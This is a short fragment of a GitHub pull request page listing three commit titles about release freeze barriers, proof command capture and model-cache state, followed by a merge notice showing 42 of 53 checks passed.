Enforce an executable release freeze barrier
…ocess-capture

Avoid descendant waits in proof command capture
…cache-state

Retain model-cache state from qualification evidence
@TheGreenCedar
TheGreenCedar marked this pull request as ready for review July 31, 2026 00:41
@TheGreenCedar
TheGreenCedar merged commit fa6c7c6 into main Jul 31, 2026
42 of 53 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant